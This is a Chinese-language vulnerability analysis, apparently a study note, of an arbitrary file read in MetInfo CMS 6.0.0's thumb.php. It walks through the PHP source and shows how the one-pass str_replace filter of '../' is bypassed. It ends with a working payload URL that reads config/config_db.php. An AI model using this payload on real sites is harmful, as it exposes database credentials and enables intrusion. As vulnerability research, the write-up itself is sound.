前置知识:PHP函数缺陷
测试环境:MetInfo CMS
- 函数缺陷导致的任意文件读取
漏洞URL:/include/thumb.php?dir=
漏洞文件位置:MetInfo6.0.0\app\system\include\module\old_thumb.class.php
<?phpdefined('IN_MET') or exit('No permission');load::sys_class('web');class old_thumb extends web{public function doshow(){global $_M;$dir = str_replace(array('../','./'), '', $_GET['dir']);echo $dir;echo "<br/>";echo !(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http');echo "<br/>";if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){header("Content-type: image/jpeg");echo $dir;echo 11111111;ob_start();readfile($dir);ob_flush();flush();die;}if($_M['form']['pageset']){$path = $dir."&met-table={$_M['form']['met-table']}&met-field={$_M['form']['met-field']}";}else{$path = $dir;}$image = thumb($path,$_M['form']['x'],$_M['form']['y']);if($_M['form']['pageset']){$img = explode('?', $image);$img = $img[0];}else{$img = $image;}if($img){header("Content-type: image/jpeg");ob_start();readfile(PATH_WEB.str_replace($_M['url']['site'], '', $img));echo PATH_WEB.str_replace($_M['url']['site'], '', $img);echo 2222222;ob_flush();flush();}}
}?>
源码中, $dir = str_replace(array('../','./'), '', $_GET['dir']);过滤了../和./,但str_replace是不迭代循环过滤的,可以双写绕过的
可以看到代码中 if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false)这个条件用于检测一个路径$dir
是否是一个以'http'
开头且不是相对于当前目录的(不包含'./'
)。但是,这样的判断方式并不完全准确,因为它只是检查了前4个字符是否为'http'
,而没有确保整个字符串是一个有效的URL。同时,检查'./'
来排除相对路径的方式也是有限的,因为它没有考虑如'../'
或其他相对路径形式。当我们试图构造playload:http://localhost/MetInfo/include/thumb.php?dir=http\.....//\config\config_db.php
readfile($dir);打开http\.....//\config\config_db.php这个路径是一个无效路径,所以继续看代码
if($_M['form']['pageset'])
在全局搜索pageset看到是一个跳转地址加参数pageset=1
而我们构造playload没有跳转动作,所以应该是不会满足条件的,也就是说构造的dir会直接赋值给$path
再看下一行 $image = thumb($path,$_M['form']['x'],$_M['form']['y']);这里对path作了处理,应该是宽高处理,追踪thumb这个函数
找到最后返回调用的函数met_thumb
可以看到红框上面的又做了一次../和./的过滤,如果没有http会执行红框下面的代码,在$image = $this->get_thumb();追踪到get_thumb可以看到return file_exists($thumb_path) ? $this->thumb_url : $this->create_thumb();,继续追踪 $this->create_thumb();,可以看到会返回一个默认路径
完整代码
<?phpdefined('IN_MET') or exit('No permission');class image{/*** 图片信息* @var [type]*/public $image;/*** 域名* @var [type]*/public $host;/*** 请求图片宽* @var int*/public $x;/*** 请求图片高* @var int*/public $y;/*** 生成图片宽* @var [type]*/public $thumb_x;/*** 生成图片高* @var [type]*/public $thumb_y;/*** 缩略图存放目录* @var [type]*/public $thumb_dir;/*** 缩略图路径* @var [type]*//*** 缩略图url* @var [type]*/public $thumb_url;public $thumb_path;public function met_thumb($image_path, $x = '', $y = ''){global $_M;if(!isset($image_path)){$image_path = $_M['url']['site'].'public/images/metinfo.gif';}$this->image_path = str_replace(array($_M['url']['site'],'../','./'), '', $image_path);// 如果地址为空 返回默认图片if(!$this->image_path){return $_M['url']['site'].'public/images/metinfo.gif';}// 如果去掉网址还有http就是外部链接图片 不需要缩略处理if(strstr($this->image_path, 'http')){return $this->image_path;}$this->x = is_numeric($x) ? intval($x) : false;$this->y = is_numeric($y) ? intval($y) : false;$this->image = pathinfo($this->image_path);$this->thumb_dir = PATH_WEB.'upload/thumb_src/';$this->thumb_path = $this->get_thumb_file() . $this->image['basename'];$image = $this->get_thumb();return $image;}public function get_thumb_file() {global $_M;$x = $this->x;$y = $this->y;if($path = explode('?', $this->image_path)){$image_path = $path[0];}else{$image_path = $this->image_path;}$s = file_get_contents(PATH_WEB.$image_path);$image = imagecreatefromstring($s);$width = imagesx($image);//获取原图片的宽$height = imagesy($image);//获取原图片的高if($x && $y) {$dirname = "{$x}_{$y}/";$this->thumb_x = $x;$this->thumb_y = $y;}if($x && !$y) {$dirname = "x_{$x}/";$this->thumb_x = $x;$this->thumb_y = $x / $width * $height;}if(!$x && $y) {$dirname = "y_{$y}/";$this->thumb_y = $y;$this->thumb_x = $y / $height * $width;}$this->thumb_url = $_M['url']['site'] . 'upload/thumb_src/' . $dirname . $this->image['basename'];$dirname = $this->thumb_dir . $dirname ;if(stristr(PHP_OS,"WIN")) {$dirname = @iconv("utf-8","GBK",$dirname);}return $dirname;}public function get_thumb() {if($path = explode('?', $this->thumb_path)){$thumb_path = $path[0];}else{$thumb_path = $this->thumb_path;}return file_exists($thumb_path) ? $this->thumb_url : $this->create_thumb();}public function create_thumb() {global $_M;$thumb = load::sys_class('thumb','new');$thumb->set('thumb_save_type',3);$thumb->set('thumb_kind',$_M['config']['thumb_kind']);$thumb->set('thumb_savepath',$this->get_thumb_file());$thumb->set('thumb_width',$this->thumb_x);$thumb->set('thumb_height',$this->thumb_y);$suf = '';if($path = explode('?', $this->image_path)){$image_path = $path[0];$suf .= '?'.$path[1];}else{$image_path = $this->image_path;}if($_M['config']['met_big_wate'] && strpos($image_path, 'watermark')!==false){$image_path = str_replace('watermark/', '', $image_path);}$image = $thumb->createthumb($image_path);if($_M['config']['met_thumb_wate'] && strpos($image_path, 'watermark')===false){$mark = load::sys_class('watermark','new');$mark->set('water_savepath',$this->get_thumb_file());$mark->set_system_thumb();$mark->create($image['path']);}if($image['error']){if (!$_M['config']['met_agents_switch']) {return $_M['url']['site'].'public/images/metinfo.gif'.$suf;}else{$met_agents_img =str_replace('../', '', $_M['config']['met_agents_img']);$image_path = $_M['url']['site'] . $met_agents_img;return $_M['url']['site'].$met_agents_img.$suf;}}return $_M['url']['site'].$image['path'].$suf;}}
重点看红框部分,再贴一次上面的图
只要二次过滤后的路径有http就返回二次过滤的路径
回到漏洞页面代码,也就是$image接收thump处理后的一个二次过滤../和./的路径,
下面又if($_M['form']['pageset']),这里又直接执行else赋值给$img
最后一个判断可以看到 readfile(PATH_WEB.str_replace($_M['url']['site'], '', $img));
PATH_WEB是一个常量,包含了指定的路径
拼接我们传进来的值,而这个值会被二次过滤../和./,也就是说,我们需要构造一个绕过二次过滤的playload就可以任意读取已知路径的文件
/MetInfo/include/thumb.php?dir=ahttp\.....//\config\config_db.php
注意:
- http前面可以加任何字符来绕过if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false),但不能加后面,加前面就满足了substr(str_replace($_M['url']['site'], '', $dir),0,4)的条件
- 第一个反斜杠也可以是/,只是为了闭合ahppt这个文件名,
- 而第二个加了底纹的\不可以时候/,因为会被二次过滤,过滤后会变成ahttp\config\config_db.php,而\过滤之后是ahttp\..\config\config_db.php,才能使..\返回上一节目录
- .. 的作用与之前的目录是否存在无关,它总是表示向上移动一个目录级别。而路径解析器会忽略任何不存在的目录部分,并继续处理剩余的有效部分。这就是为什么 ahttp\..\ 会返回到 MetInfo 这个目录,即使 ahttp\ 目录不存在。